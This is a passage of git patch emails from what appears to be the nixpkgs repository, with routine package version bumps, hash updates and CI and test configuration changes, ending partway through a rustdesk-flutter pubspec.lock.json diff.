+    hash = "sha256-F2QMQ24+wSKH8zmTFSWsSl9O9+Hc4e7Rmn2K9YXJi4k=";
   };
 
-  vendorHash = "sha256-l4EAOQeDLU+J7suKLzg+UAxrKGxoCpoPvQtj62u5VHE=";
+  vendorHash = "sha256-boaz0fR97NtU/wzIE2uPbDmP89ovkzNy8bpe0nrItMw=";
 
   subPackages = [ "." ];
 

From 521fd9bcd1f43276aba723ddc171c54601499177 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 12 Aug 2025 14:08:48 +0200
Subject: [PATCH 3452/4511] workflows/check: allow more time for check cherry
 picks job

This currently times out after 3 minutes. Give it a bit more time. 10
minutes might be excessive, but we only really want to guard against a
stuck job taking 6 hours.

(cherry picked from commit 17b1c6cb3dd431af2aac91bfb72b387da7d9d6a6)
---
 .github/workflows/check.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index c19c3b6e81ae..368a10eee78c 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -38,7 +38,7 @@ jobs:
     permissions:
       pull-requests: write
     runs-on: ubuntu-24.04-arm
-    timeout-minutes: 3
+    timeout-minutes: 10
     steps:
       - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:

From c6efa35204dbc8cf2fcb8d28a6b2591c60119eb5 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 24 Jul 2025 19:08:08 +0200
Subject: [PATCH 3453/4511] lib/tests: don't test with Nix 2.3 anymore

The `nixVersions.minimum` alias has been removed on unstable, so the
TODO is not needed anymore.

The lib tests can't be run with Nix 2.3 anymore, because this version is
not available on unstable anymore - and thus also not in the pinned
nixpkgs that CI is run with.

(cherry picked from commit cc3d2295b642f3d61faaa7335f79e63b5d10996e)
---
 ci/default.nix        | 3 +--
 lib/tests/release.nix | 2 +-
 2 files changed, 2 insertions(+), 3 deletions(-)

diff --git a/ci/default.nix b/ci/default.nix
index 2bae87eca058..46c3c77064b9 100644
--- a/ci/default.nix
+++ b/ci/default.nix
@@ -128,8 +128,7 @@ rec {
   parse = pkgs.lib.recurseIntoAttrs {
     latest = pkgs.callPackage ./parse.nix { nix = pkgs.nixVersions.latest; };
     lix = pkgs.callPackage ./parse.nix { nix = pkgs.lix; };
-    # TODO: Raise nixVersions.minimum to 2.24 and flip back to it.
-    minimum = pkgs.callPackage ./parse.nix { nix = pkgs.nixVersions.nix_2_24; };
+    nix_2_24 = pkgs.callPackage ./parse.nix { nix = pkgs.nixVersions.nix_2_24; };
   };
   shell = import ../shell.nix { inherit nixpkgs system; };
   tarball = import ../pkgs/top-level/make-tarball.nix {
diff --git a/lib/tests/release.nix b/lib/tests/release.nix
index 5a1752010745..1f8c666eab01 100644
--- a/lib/tests/release.nix
+++ b/lib/tests/release.nix
@@ -16,7 +16,7 @@
   pkgsBB ? pkgs.pkgsBuildBuild,
   nix ? pkgs-nixVersions.stable,
   nixVersions ? [
-    pkgs-nixVersions.minimum
+    pkgs-nixVersions.nix_2_24
     nix
     pkgs-nixVersions.latest
   ],

From f05c8ddfd76ef7f749e5e2d33c0a683374c6f423 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 24 Jul 2025 16:08:14 +0200
Subject: [PATCH 3454/4511] ci/default: remove insecure Nix 2.3 config

Nix 2.3 has been removed on unstable and is not used by CI anymore, thus
we don't need the custom config for it anymore.

(cherry picked from commit fa0cba1c398faad0b810555daea3bfeb05719a8c)
---
 ci/default.nix | 8 +-------
 1 file changed, 1 insertion(+), 7 deletions(-)

diff --git a/ci/default.nix b/ci/default.nix
index 46c3c77064b9..c75de0ff2b9a 100644
--- a/ci/default.nix
+++ b/ci/default.nix
@@ -17,13 +17,7 @@ let
     else
       nixpkgs;
 
-  pkgs = import nixpkgs' {
-    inherit system;
-    config = {
-      permittedInsecurePackages = [ "nix-2.3.18" ];
-    };
-    overlays = [ ];
-  };
+  pkgs = import nixpkgs' { inherit system; };
 
   fmt =
     let

From f7761f3692b3f0abf6a1b1a5c91bbe2ba869a97e Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Tue, 12 Aug 2025 20:51:46 +0200
Subject: [PATCH 3455/4511] draupnir: 2.5.1 -> 2.6.0

https://github.com/the-draupnir-project/Draupnir/releases/tag/v2.6.0
(cherry picked from commit 902dad9e4ae3514292aa2e46602743c00ce42ec2)
---
 pkgs/by-name/dr/draupnir/hashes.json  | 2 +-
 pkgs/by-name/dr/draupnir/package.json | 7 ++++---
 pkgs/by-name/dr/draupnir/package.nix  | 4 ++--
 3 files changed, 7 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/dr/draupnir/hashes.json b/pkgs/by-name/dr/draupnir/hashes.json
index 65029021dbf3..25bf893bf38c 100644
--- a/pkgs/by-name/dr/draupnir/hashes.json
+++ b/pkgs/by-name/dr/draupnir/hashes.json
@@ -1,3 +1,3 @@
 {
-  "yarn_offline_cache_hash": "sha256-sHvkDzOoRo9Lz4ynNX5vrejOwKBVIzJeVqJzs8M39vA="
+  "yarn_offline_cache_hash": "sha256-xB9SKCM9m2LotwxIzGgT72mLgrDW2spqvR5VoyexIAA="
 }
diff --git a/pkgs/by-name/dr/draupnir/package.json b/pkgs/by-name/dr/draupnir/package.json
index bcafd3977f54..5cbbdbf553c8 100644
--- a/pkgs/by-name/dr/draupnir/package.json
+++ b/pkgs/by-name/dr/draupnir/package.json
@@ -1,6 +1,6 @@
 {
   "name": "draupnir",
-  "version": "2.5.1",
+  "version": "2.6.0",
   "description": "A moderation tool for Matrix",
   "main": "lib/index.js",
   "repository": "https://github.com/the-draupnir-project/Draupnir.git",
@@ -51,7 +51,7 @@
     "@gnuxie/typescript-result": "^1.0.0",
     "@sentry/node": "^7.17.2",
     "@sinclair/typebox": "0.34.13",
-    "@the-draupnir-project/interface-manager": "4.1.0",
+    "@the-draupnir-project/interface-manager": "4.2.5",
     "@the-draupnir-project/matrix-basic-types": "1.4.0",
     "@the-draupnir-project/mps-interface-adaptor": "^0.4.1",
     "better-sqlite3": "^9.4.3",
@@ -63,7 +63,7 @@
     "jsdom": "^24.0.0",
     "matrix-appservice-bridge": "^10.3.1",
     "matrix-bot-sdk": "npm:@vector-im/matrix-bot-sdk@^0.7.1-element.6",
-    "matrix-protection-suite": "npm:@gnuxie/matrix-protection-suite@3.8.0",
+    "matrix-protection-suite": "npm:@gnuxie/matrix-protection-suite@3.10.0",
     "matrix-protection-suite-for-matrix-bot-sdk": "npm:@gnuxie/matrix-protection-suite-for-matrix-bot-sdk@3.8.0",
     "pg": "^8.8.0",
     "yaml": "^2.3.2"
@@ -72,6 +72,7 @@
     "matrix-bot-sdk": "$@vector-im/matrix-bot-sdk",
     "@vector-im/matrix-bot-sdk": "npm:@vector-im/matrix-bot-sdk@^0.7.1-element.6",
     "@the-draupnir-project/matrix-basic-types": "$the-draupnir-project/matrix-basic-types",
+    "@the-draupnir-project/interface-manager": "$the-draupnir-project/interface-manager",
     "matrix-protection-suite": "$matrix-protection-suite"
   },
   "engines": {
diff --git a/pkgs/by-name/dr/draupnir/package.nix b/pkgs/by-name/dr/draupnir/package.nix
index 69bec66fdfbc..1cf404073726 100644
--- a/pkgs/by-name/dr/draupnir/package.nix
+++ b/pkgs/by-name/dr/draupnir/package.nix
@@ -22,13 +22,13 @@ let
 in
 mkYarnPackage rec {
   pname = "draupnir";
-  version = "2.5.1";
+  version = "2.6.0";
 
   src = fetchFromGitHub {
     owner = "the-draupnir-project";
     repo = "Draupnir";
     tag = "v${version}";
-    hash = "sha256-fk9V5ZOnu9gHL7GnZ2eTCon/dINTTkWffRdMRj9AjPk=";
+    hash = "sha256-v6dHexu9x60onBoHbdI+15p6r5m6mi7bRLgZ9jqF19s=";
   };
 
   nativeBuildInputs = [

From 28d4fd65736d21208004a761dd31470e2c26c1ea Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 12 Aug 2025 19:58:09 +0000
Subject: [PATCH 3456/4511] lockbook: 0.9.25 -> 0.9.26

(cherry picked from commit 04b8ce9a130d08b53c9541fba9c42c5bdea0c16e)
---
 pkgs/by-name/lo/lockbook/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/lo/lockbook/package.nix b/pkgs/by-name/lo/lockbook/package.nix
index d16119851ef7..40ec0d1681ab 100644
--- a/pkgs/by-name/lo/lockbook/package.nix
+++ b/pkgs/by-name/lo/lockbook/package.nix
@@ -7,16 +7,16 @@
 }:
 rustPlatform.buildRustPackage rec {
   pname = "lockbook";
-  version = "0.9.25";
+  version = "0.9.26";
 
   src = fetchFromGitHub {
     owner = "lockbook";
     repo = "lockbook";
     tag = version;
-    hash = "sha256-8zkEVdvoM0PDqGyqY16ZRgyY8G0LplmhAb0THwqTVig=";
+    hash = "sha256-tiw8FtPtXtBZsKxgZ7T+6VUoBO93IkuKfEHNol2fJ18=";
   };
 
-  cargoHash = "sha256-2NGb4a/Ak8DlaxHVElJg8Vhrt4W4XPZdDE283TH19C4=";
+  cargoHash = "sha256-XVvSVaUn4N7lsgBEAbRfCD6qR4I/n/NHBw2qISWrzI0=";
 
   doCheck = false; # there are no cli tests
   cargoBuildFlags = [

From b260694aa7710ab7df934fde1d5193828a4d9d61 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 12 Aug 2025 19:56:53 +0000
Subject: [PATCH 3457/4511] lockbook-desktop: 0.9.25 -> 0.9.26

(cherry picked from commit 65742722a45ca0efb481908e3cc0da14c719a51c)
---
 pkgs/by-name/lo/lockbook-desktop/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/lo/lockbook-desktop/package.nix b/pkgs/by-name/lo/lockbook-desktop/package.nix
index f844f66448be..c6d2ba134d86 100644
--- a/pkgs/by-name/lo/lockbook-desktop/package.nix
+++ b/pkgs/by-name/lo/lockbook-desktop/package.nix
@@ -18,16 +18,16 @@ let
 in
 rustPlatform.buildRustPackage rec {
   pname = "lockbook-desktop";
-  version = "0.9.25";
+  version = "0.9.26";
 
   src = fetchFromGitHub {
     owner = "lockbook";
     repo = "lockbook";
     tag = version;
-    hash = "sha256-8zkEVdvoM0PDqGyqY16ZRgyY8G0LplmhAb0THwqTVig=";
+    hash = "sha256-tiw8FtPtXtBZsKxgZ7T+6VUoBO93IkuKfEHNol2fJ18=";
   };
 
-  cargoHash = "sha256-2NGb4a/Ak8DlaxHVElJg8Vhrt4W4XPZdDE283TH19C4=";
+  cargoHash = "sha256-XVvSVaUn4N7lsgBEAbRfCD6qR4I/n/NHBw2qISWrzI0=";
 
   nativeBuildInputs = [
     pkg-config

From 44aa31dc464f880a1751f99e8a0b55697bb99e0d Mon Sep 17 00:00:00 2001
From: Yuriy Taraday <yuriy.taraday@tweag.io>
Date: Mon, 11 Aug 2025 14:51:44 +0200
Subject: [PATCH 3458/4511] github-runner: skip another alpine container test
 on aarch64-linux

https://github.com/actions/runner/pull/3940 has added support for
running node24 actions and also added a corresponding test that doesn't
work on aarch64-linux.

(cherry picked from commit 5c186716582fde770fa970276ea28d1e1469f5a9)
---
 pkgs/by-name/gi/github-runner/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/gi/github-runner/package.nix b/pkgs/by-name/gi/github-runner/package.nix
index fdafacc3fcad..6593958c940f 100644
--- a/pkgs/by-name/gi/github-runner/package.nix
+++ b/pkgs/by-name/gi/github-runner/package.nix
@@ -206,6 +206,7 @@ buildDotnetModule (finalAttrs: {
     # "JavaScript Actions in Alpine containers are only supported on x64 Linux runners. Detected Linux Arm64"
     "GitHub.Runner.Common.Tests.Worker.StepHostL0.DetermineNodeRuntimeVersionInAlpineContainerAsync"
     "GitHub.Runner.Common.Tests.Worker.StepHostL0.DetermineNode20RuntimeVersionInAlpineContainerAsync"
+    "GitHub.Runner.Common.Tests.Worker.StepHostL0.DetermineNode24RuntimeVersionInAlpineContainerAsync"
   ]
   ++ lib.optionals finalAttrs.DOTNET_SYSTEM_GLOBALIZATION_INVARIANT [
     "GitHub.Runner.Common.Tests.ProcessExtensionL0.SuccessReadProcessEnv"

From 9a9268fb21f93593db3765d38ed1aa345b186fcd Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 14 Jun 2025 17:52:59 +0000
Subject: [PATCH 3459/4511] openxr-loader: 1.1.47 -> 1.1.49

(cherry picked from commit d94ee29780abd76d269b855781b3b4767ba4e4fe)
---
 pkgs/by-name/op/openxr-loader/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/op/openxr-loader/package.nix b/pkgs/by-name/op/openxr-loader/package.nix
index b6f31e85b909..4605a1ba0e1a 100644
--- a/pkgs/by-name/op/openxr-loader/package.nix
+++ b/pkgs/by-name/op/openxr-loader/package.nix
@@ -16,13 +16,13 @@
 
 stdenv.mkDerivation rec {
   pname = "openxr-loader";
-  version = "1.1.47";
+  version = "1.1.49";
 
   src = fetchFromGitHub {
     owner = "KhronosGroup";
     repo = "OpenXR-SDK-Source";
     tag = "release-${version}";
-    hash = "sha256-7VW99dtE7gz0Y9pKyAdyeKHL6zgk5KvA8jPfgG1O5sc=";
+    hash = "sha256-fQmS8oJZ7Oy/miKCtOQGSvZFDIEMFOcUyz2D6P8hNZY=";
   };
 
   nativeBuildInputs = [

From bea0e02fc85107f3e9d8dc6f2613d8470dc28697 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 29 Jul 2025 19:23:53 +0000
Subject: [PATCH 3460/4511] openxr-loader: 1.1.49 -> 1.1.50

(cherry picked from commit 643032ea4fdfc92b01d20826e04abecfb4592adb)
---
 pkgs/by-name/op/openxr-loader/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/op/openxr-loader/package.nix b/pkgs/by-name/op/openxr-loader/package.nix
index 4605a1ba0e1a..08131917a964 100644
--- a/pkgs/by-name/op/openxr-loader/package.nix
+++ b/pkgs/by-name/op/openxr-loader/package.nix
@@ -16,13 +16,13 @@
 
 stdenv.mkDerivation rec {
   pname = "openxr-loader";
-  version = "1.1.49";
+  version = "1.1.50";
 
   src = fetchFromGitHub {
     owner = "KhronosGroup";
     repo = "OpenXR-SDK-Source";
     tag = "release-${version}";
-    hash = "sha256-fQmS8oJZ7Oy/miKCtOQGSvZFDIEMFOcUyz2D6P8hNZY=";
+    hash = "sha256-/5zw9tj7F0cxhzyIRf8njoYB9moJFYLEjDeqe0OBr34=";
   };
 
   nativeBuildInputs = [

From 80664ff1eacc14c21e1ba16d907bf13b4d4d78a5 Mon Sep 17 00:00:00 2001
From: wxt <3264117476@qq.com>
Date: Sun, 11 May 2025 09:38:15 +0800
Subject: [PATCH 3461/4511] rustdesk-flutter: 1.3.9 -> 1.4.0

(cherry picked from commit 6d4f1aa1312e449463a0c7ad53a7bf8b031ed47a)
---
 pkgs/by-name/ru/rustdesk-flutter/package.nix  |  8 ++--
 .../rustdesk-flutter/update-cargo-lock.patch  | 40 -------------------
 2 files changed, 3 insertions(+), 45 deletions(-)
 delete mode 100644 pkgs/by-name/ru/rustdesk-flutter/update-cargo-lock.patch

diff --git a/pkgs/by-name/ru/rustdesk-flutter/package.nix b/pkgs/by-name/ru/rustdesk-flutter/package.nix
index 0a2de1765d53..9920e05af097 100644
--- a/pkgs/by-name/ru/rustdesk-flutter/package.nix
+++ b/pkgs/by-name/ru/rustdesk-flutter/package.nix
@@ -63,14 +63,14 @@ let
 in
 flutter.buildFlutterApplication rec {
   pname = "rustdesk";
-  version = "1.3.9";
+  version = "1.4.0";
 
   src = fetchFromGitHub {
     owner = "rustdesk";
     repo = "rustdesk";
     tag = version;
     fetchSubmodules = true;
-    hash = "sha256-DvFsHrYLdAaEh2cXF8Zp5AvyG8Okiy2guW/r2x7Kz4U=";
+    hash = "sha256-fuS2ENrMlzk1AIZGZp4M3ZbsHks5TFW2pRQEGzsTThQ=";
   };
 
   strictDeps = true;
@@ -100,7 +100,7 @@ flutter.buildFlutterApplication rec {
       src
       patches
       ;
-    hash = "sha256-D64W2+eBR2RGiN+puJW3QIO1334SgOOHv5fws5r3wmg=";
+    hash = "sha256-9DjfGfTs8/J9XPZmWXCibyRib1/abnWzznQn6A5Tw2I=";
   };
 
   dontCargoBuild = true;
@@ -152,8 +152,6 @@ flutter.buildFlutterApplication rec {
 
   patches = [
     ./make-build-reproducible.patch
-    # Multiple version of core-foundation-sys will make fetchCargoVendor unhappy. Keep one of it.
-    ./update-cargo-lock.patch
   ];
 
   prepareBuildRunner = ''
diff --git a/pkgs/by-name/ru/rustdesk-flutter/update-cargo-lock.patch b/pkgs/by-name/ru/rustdesk-flutter/update-cargo-lock.patch
deleted file mode 100644
index d78e8e76ac3e..000000000000
--- a/pkgs/by-name/ru/rustdesk-flutter/update-cargo-lock.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-diff --git a/Cargo.lock b/Cargo.lock
-index e8ed6c42e..3e90da8fc 100644
---- a/Cargo.lock
-+++ b/Cargo.lock
-@@ -1178,7 +1178,7 @@ name = "core-foundation"
- version = "0.9.3"
- source = "git+https://github.com/madsmtm/core-foundation-rs.git?rev=7d593d016175755e492a92ef89edca68ac3bd5cd#7d593d016175755e492a92ef89edca68ac3bd5cd"
- dependencies = [
-- "core-foundation-sys 0.8.6 (git+https://github.com/madsmtm/core-foundation-rs.git?rev=7d593d016175755e492a92ef89edca68ac3bd5cd)",
-+ "core-foundation-sys",
-  "libc",
- ]
- 
-@@ -1188,7 +1188,7 @@ version = "0.9.4"
- source = "registry+https://github.com/rust-lang/crates.io-index"
- checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f"
- dependencies = [
-- "core-foundation-sys 0.8.6 (registry+https://github.com/rust-lang/crates.io-index)",
-+ "core-foundation-sys",
-  "libc",
- ]
- 
-@@ -1198,14 +1198,6 @@ version = "0.8.6"
- source = "registry+https://github.com/rust-lang/crates.io-index"
- checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f"
- 
--[[package]]
--name = "core-foundation-sys"
--version = "0.8.6"
--source = "git+https://github.com/madsmtm/core-foundation-rs.git?rev=7d593d016175755e492a92ef89edca68ac3bd5cd#7d593d016175755e492a92ef89edca68ac3bd5cd"
--dependencies = [
-- "objc2-encode 2.0.0-pre.2",
--]
--
- [[package]]
- name = "core-graphics"
- version = "0.22.3"
--- 
-2.47.2
-

From 0c12b62e33f2fd04d3afade3efefe897b7eb3223 Mon Sep 17 00:00:00 2001
From: Joachim Ernst <joachim.ernst@helsinki-systems.de>
Date: Tue, 5 Aug 2025 15:00:40 +0200
Subject: [PATCH 3462/4511] rustdesk-flutter: 1.4.0 -> 1.4.1

(cherry picked from commit 42b73d667f04a4464fb923e2428f78fe5b1e6393)
---
 pkgs/by-name/ru/rustdesk-flutter/package.nix  |  10 +-
 .../ru/rustdesk-flutter/pubspec.lock.json     | 476 ++++++++++--------
 2 files changed, 271 insertions(+), 215 deletions(-)

diff --git a/pkgs/by-name/ru/rustdesk-flutter/package.nix b/pkgs/by-name/ru/rustdesk-flutter/package.nix
index 9920e05af097..7e0ba759d9d1 100644
--- a/pkgs/by-name/ru/rustdesk-flutter/package.nix
+++ b/pkgs/by-name/ru/rustdesk-flutter/package.nix
@@ -33,7 +33,7 @@
 let
   flutterRustBridge = rustPlatform.buildRustPackage rec {
     pname = "flutter_rust_bridge_codegen";
-    version = "1.80.1"; # https://github.com/rustdesk/rustdesk/blob/1.3.2/.github/workflows/bridge.yml#L10
+    version = "1.80.1"; # https://github.com/rustdesk/rustdesk/blob/1.4.1/.github/workflows/bridge.yml#L10
 
     src = fetchFromGitHub {
       owner = "fzyzcjy";
@@ -63,14 +63,14 @@ let
 in
 flutter.buildFlutterApplication rec {
   pname = "rustdesk";
-  version = "1.4.0";
+  version = "1.4.1";
 
   src = fetchFromGitHub {
     owner = "rustdesk";
     repo = "rustdesk";
     tag = version;
     fetchSubmodules = true;
-    hash = "sha256-fuS2ENrMlzk1AIZGZp4M3ZbsHks5TFW2pRQEGzsTThQ=";
+    hash = "sha256-nS8KjLzgdzgvn5mM1lJL2vFk0g/ZUZBvdkjyC+MdHDE=";
   };
 
   strictDeps = true;
@@ -78,7 +78,7 @@ flutter.buildFlutterApplication rec {
 
   # Configure the Flutter/Dart build
   sourceRoot = "${src.name}/flutter";
-  # curl https://raw.githubusercontent.com/rustdesk/rustdesk/1.3.9/flutter/pubspec.lock | yq > pubspec.lock.json
+  # curl https://raw.githubusercontent.com/rustdesk/rustdesk/1.4.1/flutter/pubspec.lock | yq > pubspec.lock.json
   pubspecLock = lib.importJSON ./pubspec.lock.json;
   gitHashes = {
     dash_chat_2 = "sha256-J5Bc6CeCoRGN870aNEVJ2dkQNb+LOIZetfG2Dsfz5Ow=";
@@ -100,7 +100,7 @@ flutter.buildFlutterApplication rec {
       src
       patches
       ;
-    hash = "sha256-9DjfGfTs8/J9XPZmWXCibyRib1/abnWzznQn6A5Tw2I=";
+    hash = "sha256-ecLR6cMVDrTKeoTE5Yxkw5dN4ceAm+RD7BVXwIQ1fnk=";
   };
 
   dontCargoBuild = true;
diff --git a/pkgs/by-name/ru/rustdesk-flutter/pubspec.lock.json b/pkgs/by-name/ru/rustdesk-flutter/pubspec.lock.json
index ac6c4d9d8573..98d5e9d4d772 100644
--- a/pkgs/by-name/ru/rustdesk-flutter/pubspec.lock.json
+++ b/pkgs/by-name/ru/rustdesk-flutter/pubspec.lock.json
@@ -4,11 +4,17 @@
       "dependency": "transitive",
       "description": {
         "name": "_fe_analyzer_shared",
-        "sha256": "eb376e9acf6938204f90eb3b1f00b578640d3188b4c8a8ec054f9f479af8d051",
+        "sha256": "f256b0c0ba6c7577c15e2e4e114755640a875e885099367bf6e012b19314c834",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "64.0.0"
+      "version": "72.0.0"
+    },
+    "_macros": {
+      "dependency": "transitive",
+      "description": "dart",
+      "source": "sdk",
+      "version": "0.3.2"
     },
     "after_layout": {
       "dependency": "transitive",
@@ -24,11 +30,11 @@
       "dependency": "transitive",
       "description": {
         "name": "analyzer",
-        "sha256": "69f54f967773f6c26c7dcb13e93d7ccee8b17a641689da39e878d5cf13b06893",
+        "sha256": "b652861553cd3990d8ed361f7979dc6d7053a9ac8843fa73820ab68ce5410139",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "6.2.0"
+      "version": "6.7.0"
     },
     "animations": {
       "dependency": "transitive",
@@ -54,21 +60,21 @@
       "dependency": "transitive",
       "description": {
         "name": "args",
-        "sha256": "eef6c46b622e0494a36c5a12d10d77fb4e855501a91c1b9ef9339326e58f0596",
+        "sha256": "d0481093c50b1da8910eb0bb301626d4d8eb7284aa739614d2b394ee09e3ea04",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.4.2"
+      "version": "2.7.0"
     },
     "async": {
       "dependency": "transitive",
       "description": {
         "name": "async",
-        "sha256": "947bfcf187f74dbc5e146c9eb9c0f10c9f8b30743e341481c1e2ed3ecc18c20c",
+        "sha256": "758e6d74e971c3e5aceb4110bfd6698efc7f501675bcfe0c775459a8140750eb",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.11.0"
+      "version": "2.13.0"
     },
     "auto_size_text": {
       "dependency": "direct main",
@@ -84,11 +90,11 @@
       "dependency": "direct main",
       "description": {
         "name": "auto_size_text_field",
-        "sha256": "d47c81ffa9b61d219f6c50492dc03ea28fa9346561b2ec33b46ccdc000ddb0aa",
+        "sha256": "41c90b2270e38edc6ce5c02e5a17737a863e65e246bdfc94565a38f3ec399144",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.2.2"
+      "version": "2.2.4"
     },
     "back_button_interceptor": {
       "dependency": "direct main",
@@ -104,11 +110,11 @@
       "dependency": "transitive",
       "description": {
         "name": "boolean_selector",
-        "sha256": "6cfb5af12253eaf2b368f07bacc5a80d1301a071c73360d746b7f2e32d762c66",
+        "sha256": "8aab1771e1243a5063b8b0ff68042d67334e3feab9e95b9490f9a6ebf73b42ea",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.1.1"
+      "version": "2.1.2"
     },
     "bot_toast": {
       "dependency": "direct main",
@@ -154,11 +160,11 @@
       "dependency": "transitive",
       "description": {
         "name": "build_daemon",
-        "sha256": "0343061a33da9c5810b2d6cee51945127d8f4c060b7fbdd9d54917f0a3feaaa1",
+        "sha256": "79b2aef6ac2ed00046867ed354c88778c9c0f029df8a20fe10b5436826721ef9",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "4.0.1"
+      "version": "4.0.2"
     },
     "build_resolvers": {
       "dependency": "transitive",
@@ -174,21 +180,21 @@
       "dependency": "direct dev",
       "description": {
         "name": "build_runner",
-        "sha256": "581bacf68f89ec8792f5e5a0b2c4decd1c948e97ce659dc783688c8a88fbec21",
+        "sha256": "028819cfb90051c6b5440c7e574d1896f8037e3c96cf17aaeb054c9311cfbf4d",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.4.8"
+      "version": "2.4.13"
     },
     "build_runner_core": {
       "dependency": "transitive",
       "description": {
         "name": "build_runner_core",
-        "sha256": "4ae8ffe5ac758da294ecf1802f2aff01558d8b1b00616aa7538ea9a8a5d50799",
+        "sha256": "f8126682b87a7282a339b871298cc12009cb67109cfa1614d6436fb0289193e0",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "7.3.0"
+      "version": "7.3.2"
     },
     "built_collection": {
       "dependency": "transitive",
@@ -204,11 +210,11 @@
       "dependency": "transitive",
       "description": {
         "name": "built_value",
-        "sha256": "a3ec2e0f967bc47f69f95009bb93db936288d61d5343b9436e378b28a2f830c6",
+        "sha256": "082001b5c3dc495d4a42f1d5789990505df20d8547d42507c29050af6933ee27",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "8.9.0"
+      "version": "8.10.1"
     },
     "cached_network_image": {
       "dependency": "transitive",
@@ -234,11 +240,11 @@
       "dependency": "transitive",
       "description": {
         "name": "cached_network_image_web",
-        "sha256": "42a835caa27c220d1294311ac409a43361088625a4f23c820b006dd9bffb3316",
+        "sha256": "205d6a9f1862de34b93184f22b9d2d94586b2f05c581d546695e3d8f6a805cd7",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.1.1"
+      "version": "1.2.0"
     },
     "characters": {
       "dependency": "transitive",
@@ -254,11 +260,11 @@
       "dependency": "transitive",
       "description": {
         "name": "charcode",
-        "sha256": "fb98c0f6d12c920a02ee2d998da788bca066ca5f148492b7085ee23372b12306",
+        "sha256": "fb0f1107cac15a5ea6ef0a6ef71a807b9e4267c713bb93e00e92d737cc8dbd8a",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.3.1"
+      "version": "1.4.0"
     },
     "checked_yaml": {
       "dependency": "transitive",
@@ -274,11 +280,11 @@
       "dependency": "transitive",
       "description": {
         "name": "cli_util",
-        "sha256": "c05b7406fdabc7a49a3929d4af76bcaccbbffcbcdcf185b082e1ae07da323d19",
+        "sha256": "ff6785f7e9e3c38ac98b2fb035701789de90154024a75b6cb926445e83197d1c",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.4.1"
+      "version": "0.4.2"
     },
     "clock": {
       "dependency": "transitive",
@@ -294,11 +300,11 @@
       "dependency": "transitive",
       "description": {
         "name": "code_builder",
-        "sha256": "f692079e25e7869c14132d39f223f8eec9830eb76131925143b2129c4bb01b37",
+        "sha256": "0ec10bf4a89e4c613960bf1e8b42c64127021740fb21640c29c909826a5eea3e",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "4.10.0"
+      "version": "4.10.1"
     },
     "collection": {
       "dependency": "transitive",
@@ -324,51 +330,51 @@
       "dependency": "transitive",
       "description": {
         "name": "convert",
-        "sha256": "0f08b14755d163f6e2134cb58222dd25ea2a2ee8a195e53983d57c075324d592",
+        "sha256": "b30acd5944035672bc15c6b7a8b47d773e41e2f17de064350988c5d02adb1c68",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.1.1"
+      "version": "3.1.2"
     },
     "cross_file": {
       "dependency": "transitive",
       "description": {
         "name": "cross_file",
-        "sha256": "fedaadfa3a6996f75211d835aaeb8fede285dae94262485698afd832371b9a5e",
+        "sha256": "7caf6a750a0c04effbb52a676dce9a4a592e10ad35c34d6d2d0e4811160d5670",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.3.3+8"
+      "version": "0.3.4+2"
     },
     "crypto": {
       "dependency": "transitive",
       "description": {
         "name": "crypto",
-        "sha256": "ff625774173754681d66daaf4a448684fb04b78f902da9cb3d308c19cc5e8bab",
+        "sha256": "1e445881f28f22d6140f181e07737b22f1e099a5e1ff94b0af2f9e4a463f4855",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.0.3"
+      "version": "3.0.6"
     },
     "csslib": {
       "dependency": "transitive",
       "description": {
         "name": "csslib",
-        "sha256": "706b5707578e0c1b4b7550f64078f0a0f19dec3f50a178ffae7006b0a9ca58fb",
+        "sha256": "09bad715f418841f976c77db72d5398dc1253c21fb9c0c7f0b0b985860b2d58e",
         "url": "https://pub.dev"
       },
